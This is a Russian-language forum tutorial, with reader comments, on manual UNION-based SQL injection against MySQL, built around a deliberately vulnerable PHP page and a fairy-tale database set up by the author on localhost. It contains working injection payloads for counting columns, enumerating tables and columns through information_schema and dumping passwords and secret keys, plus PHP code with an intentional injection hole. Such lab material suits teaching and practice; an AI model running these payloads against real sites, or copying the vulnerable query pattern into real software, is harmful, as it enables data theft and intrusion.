Статья SQL-injection, начало - UNION BASED

Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
create database golden_key;

2.png


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;

3.png


Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;

Создаём 2 таблицы с колонками

CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);


4.png


Проверяем desc login; и desc passwd;

5.png


Заполняем поля

INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");


6.png


Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;

7.png


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда . Обязательно выставите права на Чтение и запись для для "Остальные".

8.png


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

9.png


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

10.png


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

13.png


1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

1' group by 10 -- - ошибка, пишет, что колонки 10 не существует

11.png


1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

12.png


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00


Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/


Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.

14.png


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

16.png


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

15.png


А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -

17.png



Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

222.png


INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

2222.png


Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

18.png


Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key


Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -

19.png


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!


Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -

20.png


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

1.png


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


Удачи!
 
B

BitNinja

замечательный пример.
но вопрос - а чем заменить limit, если данных очень много? или данные тяжелые.
?
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
замечательный пример.
но вопрос - а чем заменить limit, если данных очень много? или данные тяжелые.
?
Есть быстрые техники, они гораздо сложнее для понимания. Об этом тоже напишу, но позже, в другой статье. Нужно идти от простого к сложному.
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.
Если у кого-то возникнут затруднения по заданиям, спрашивайте, ибо это БАЗА, всё остальное куда сложнее.
 

kluster

Green Team
02.01.2019
34
56
BIT
0
Если у кого-то возникнут затруднения по заданиям, спрашивайте, ибо это БАЗА, всё остальное куда сложнее.
первые два решил, а вот 3, 4.
мы сначала ломаем запрос через '
а потом его как бы восстанавливаем через комментирование, чтобы потом внедрить произвольный SQL запрос.
вот в 3 и 4 задании не смог запрос "починить"
 

Napalm

Green Team
01.07.2019
10
8
BIT
0
мы сначала ломаем запрос через '
что бы "сломать" запрос нужно правильно угадать экранирующие символы.
например если запрос обрамлен скобками например: $id=$_GET[(id)];
то запрос вида 1' order by 10 -- - нечего не даст так как открывающая скобка не закрыта пример: select * from table_name where id=(1` order by 10 -- -)
база данных примет запрос данные 1` order by 10 -- - и попробует их обработать.
что бы взломать такую МОГУЩЕСТВЕННУЮ систему защиты нам предстоит использовать скобку )
пример:
select * from table_name where id=(1) order by 10 -- -)
таким образом база данных примет единичку (1) и ещё выполнит команду order by 10
в конце статьи указаны возможные экранирующие символы

 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
первые два решил, а вот 3, 4
Napalm правильно написал. Но чтобы внести полную ясность объясню как можно проще - если не подошла одиночная кавычка, то просто тупо нужно попробовать другие варианты, которые есть в конце статьи.
Есть способ ещё проще - использовать вместо кавычки обратный слэш. И посмотреть на ошибку.

Отправляем запрос со слэшем:

01.png


Смотрим на ошибку:

02.png


Из ошибки явно видно, что обрамление цифры идёт в двойных кавычках. Отправляем запрос с двойной кавычкой:

03.png


Смотрим на ошибку:

04.png


Как мы видим ошибка появилась, значит запрос с двойной кавычкой правильный

P.S. Чтобы составить правильный запрос, нужно посмотреть на ошибку и отбросить парные символы. А то что останется и будет правильным в запросе

04.png
 
Последнее редактирование:
  • Нравится
Реакции: AVG и id2746

hhh

Green Team
08.02.2018
11
11
BIT
0
Классная статья, спасибо. Жду продолжения. =)
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
пример: select * from table_name where id=(1) order by 10 -- -)
Немного поправлю - для четвёртого таска уязвимый запрос будет выглядеть так:
select * from table_name where id=('1') order by 10 -- -')
Крайняя скобка после комментария будет отброшена, на сайте видимая часть такая 1') order by 10 -- -
 

Сергей Попов

Кодебай
30.12.2015
4 718
6 707
BIT
366
первые два решил, а вот 3, 4.
мы сначала ломаем запрос через '
а потом его как бы восстанавливаем через комментирование, чтобы потом внедрить произвольный SQL запрос.
вот в 3 и 4 задании не смог запрос "починить"
Ход решения НЕ надо писать публично.
 

kluster

Green Team
02.01.2019
34
56
BIT
0
Ход решения НЕ надо писать публично.
но это же общий алгоритм любой SQL инъекции.
ломаем зпрос - чиним - внедряем
который и был описан в статье, в заданиях же уже разные методы реализации этого алогритма
поправьте меня, если ошибаюсь.
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
но это же общий алгоритм любой SQL инъекции.
который и был описан в статье, в заданиях же уже разные методы реализации этого алогритма
поправьте меня, если ошибаюсь.
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
 
  • Нравится
Реакции: Сергей Попов

booms1

Green Team
18.08.2018
19
1
BIT
1
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
Привет, в чём может быть проблема? при переходе на
Подключение не удалось: Access denied for user 'root'@'localhost'
 

booms1

Green Team
18.08.2018
19
1
BIT
1
Не переживайте, это общий подход. Админ видимо имел ввиду, чтобы далее полное решение не писали. Учиться ведь нужно самому, поэтому я не разбираю решение сразу на примере SQL Injection Ninja, а пишу свой код. Будут ещё статьи, решил сделать серию, там тоже будем создавать своё уязвимое приложение и на нём разбираться что к чему.
Не понимаю на каком этапе cntrl с +v дал сбой
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Изменился ответ на Подключение не удалось: Access denied for user 'buratino '@'localhost' (using password: NO)
Сам сижу под root
Все остальные этапы на ура шли
Ну так пароль-то тоже нужно поменять, мы же пароль задавали )

P.S. Если не понял $password = "papa_Karlo";
 
  • Нравится
Реакции: booms1
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!